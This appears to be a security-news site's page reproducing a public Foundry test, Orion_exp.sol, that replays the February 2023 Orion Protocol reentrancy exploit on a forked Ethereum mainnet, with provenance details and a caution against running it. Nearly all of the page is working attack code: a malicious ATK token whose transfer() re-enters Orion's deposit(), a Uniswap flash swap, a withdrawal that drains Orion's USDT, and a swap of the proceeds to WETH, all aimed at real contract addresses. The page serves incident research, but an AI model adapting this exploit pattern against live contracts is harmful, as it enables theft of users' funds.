Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/Orion_exp.sol

Public reproduction file for dataset entry - Orion Protocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/Orion_exp.sol190 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.17;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analsysi
8// https://twitter.com/peckshield/status/1621337925228306433
9// https://twitter.com/BlockSecTeam/status/1621263393054420992
10// https://www.numencyber.com/analysis-of-orionprotocol-reentrancy-attack-with-poc/
11// @TX
12// https://etherscan.io/tx/0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa ETH
13// https://bscscan.com/tx/0xfb153c572e304093023b4f9694ef39135b6ed5b2515453173e81ec02df2e2104 BSC
15// similar events
16// https://github.com/SunWeb3Sec/DeFiHackLabs#20221223---defrost---reentrancy
17// https://github.com/SunWeb3Sec/DeFiHackLabs#20221110---dfxfinance---reentrancy
19interface OrionPoolV2Factory {
20 function createPair(address tokenA, address tokenB) external;
21 function getPair(address tokenA, address tokenB) external view returns (address);
24interface ORION {
25 function swapThroughOrionPool(
26 uint112 amount_spend,
27 uint112 amount_receive,
28 address[] calldata path,
29 bool is_exact_spend
30 ) external;
31 function depositAsset(address assetAddress, uint112 amount) external;
32 function getBalance(address assetAddress, address user) external view returns (int192);
33 function withdraw(address assetAddress, uint112 amount) external;
36contract ContractTest is Test {
37 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
38 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
39 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
40 ORION Orion = ORION(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);
41 OrionPoolV2Factory Factory = OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1);
42 Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
43 Uni_Router_V3 RouterV3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
44 Uni_Pair_V2 Pair = Uni_Pair_V2(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
45 uint256 flashAmount;
46 IERC20 ATK;
48 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
50 function setUp() public {
51 cheats.createSelectFork("mainnet", 16_542_147);
52 vm.label(address(USDT), "USDT");
53 vm.label(address(USDC), "USDC");
54 vm.label(address(Orion), "ORION");
55 vm.label(address(Factory), "Factory");
56 vm.label(address(ATK), "ATK");
57 vm.label(address(RouterV3), "RouterV3");
58 vm.label(address(Pair), "Pair");
59 }
61 function testExploit() public {
62 deal(address(USDT), address(this), 1e6); // set the USDT balance of exploiter is 1
63 deal(address(USDC), address(this), 1e6); // set the USDC balance of exploiter is 1
64 ATK = new ATKToken(address(this));
65 addLiquidity();
67 address(USDT).call(abi.encodeWithSignature("approve(address,uint256)", address(Orion), type(uint256).max));
68 USDC.approve(address(Orion), type(uint256).max);
69 Orion.depositAsset(address(USDC), 500_000);
71 flashAmount = USDT.balanceOf(address(Orion));
72 Pair.swap(0, flashAmount, address(this), new bytes(1));
73 USDTToWETH();
75 emit log_named_decimal_uint(
76 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
77 );
78 }
80 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
81 address[] memory path = new address[](3);
82 path[0] = address(USDC);
83 path[1] = address(ATK);
84 path[2] = address(USDT);
85 Orion.swapThroughOrionPool(10_000, 0, path, true);
86 Orion.withdraw(address(USDT), uint112(USDT.balanceOf(address(Orion)) - 1));
87 address(USDT).call(
88 abi.encodeWithSignature("transfer(address,uint256)", address(Pair), flashAmount * 1000 / 997 + 1000)
89 );
90 }
92 function addLiquidity() internal {
93 Factory.createPair(address(ATK), address(USDT));
94 address Pair1 = Factory.getPair(address(ATK), address(USDT));
95 Factory.createPair(address(ATK), address(USDC));
96 address Pair2 = Factory.getPair(address(ATK), address(USDC));
97 address(USDT).call(abi.encodeWithSignature("transfer(address,uint256)", address(Pair1), 5 * 1e5));
98 ATK.transfer(address(Pair1), 50 * 1e18);
99 USDC.transfer(address(Pair2), 5 * 1e5);
100 ATK.transfer(address(Pair2), 50 * 1e18);
101 Uni_Pair_V2(Pair1).mint(address(this));
102 Uni_Pair_V2(Pair2).mint(address(this));
103 }
105 function deposit() external {
106 Orion.depositAsset(address(USDT), uint112(USDT.balanceOf(address(this))));
107 }
109 function USDTToWETH() internal {
110 address(USDT).call(abi.encodeWithSignature("approve(address,uint256)", address(RouterV3), type(uint256).max));
111 Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
112 tokenIn: address(USDT),
113 tokenOut: address(WETH),
114 fee: 3000,
115 recipient: address(this),
116 deadline: block.timestamp,
117 amountIn: USDT.balanceOf(address(this)),
118 amountOutMinimum: 0,
119 sqrtPriceLimitX96: 0
120 });
121 RouterV3.exactInputSingle(_Params);
122 }
125contract ATKToken is IERC20 {
126 uint256 public totalSupply;
127 mapping(address => uint256) public balanceOf;
128 mapping(address => mapping(address => uint256)) public allowance;
129 string public name = "ATKToken";
130 string public symbol = "ATK";
131 uint8 public decimals = 18;
132 address public exp;
133 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
134 ORION Orion = ORION(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);
136 constructor(
137 address exploiter
138 ) {
139 mint(100 * 1e18);
140 exp = exploiter;
141 }
143 function transfer(address recipient, uint256 amount) external returns (bool) {
144 balanceOf[msg.sender] -= amount;
145 balanceOf[recipient] += amount;
146 if (USDT.balanceOf(exp) > 1e6) {
147 exp.call(abi.encodeWithSignature("deposit()"));
148 }
149 emit Transfer(msg.sender, recipient, amount);
150 return true;
151 }
153 function approve(address spender, uint256 amount) external returns (bool) {
154 allowance[msg.sender][spender] = amount;
155 emit Approval(msg.sender, spender, amount);
156 return true;
157 }
159 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
160 allowance[sender][msg.sender] -= amount;
161 balanceOf[sender] -= amount;
162 balanceOf[recipient] += amount;
163 emit Transfer(sender, recipient, amount);
164 return true;
165 }
167 function mint(
168 uint256 amount
169 ) public {
170 balanceOf[msg.sender] += amount;
171 totalSupply += amount;
172 emit Transfer(address(0), msg.sender, amount);
173 }
175 function burn(
176 uint256 amount
177 ) external {
178 balanceOf[msg.sender] -= amount;
179 totalSupply -= amount;
180 emit Transfer(msg.sender, address(0), amount);
181 }
183 function withdraw(
184 uint256 wad
185 ) external {}
186 function deposit(
187 uint256 wad
188 ) external returns (bool) {}
189 function owner() external view returns (address) {}

Analysis

Dataset entry

Public Foundry test for “- Orion Protocol” (2023-02-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Orion Protocol
Path
src/test/2023-02/Orion_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c9a760a64d339646b7bd8749fb8a47e0e210df8b
Language
Solidity
Size
191 lines
Date
2023-02-03
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/Orion_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c9a760a64d339646b7bd8749fb8a47e0e210df8b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.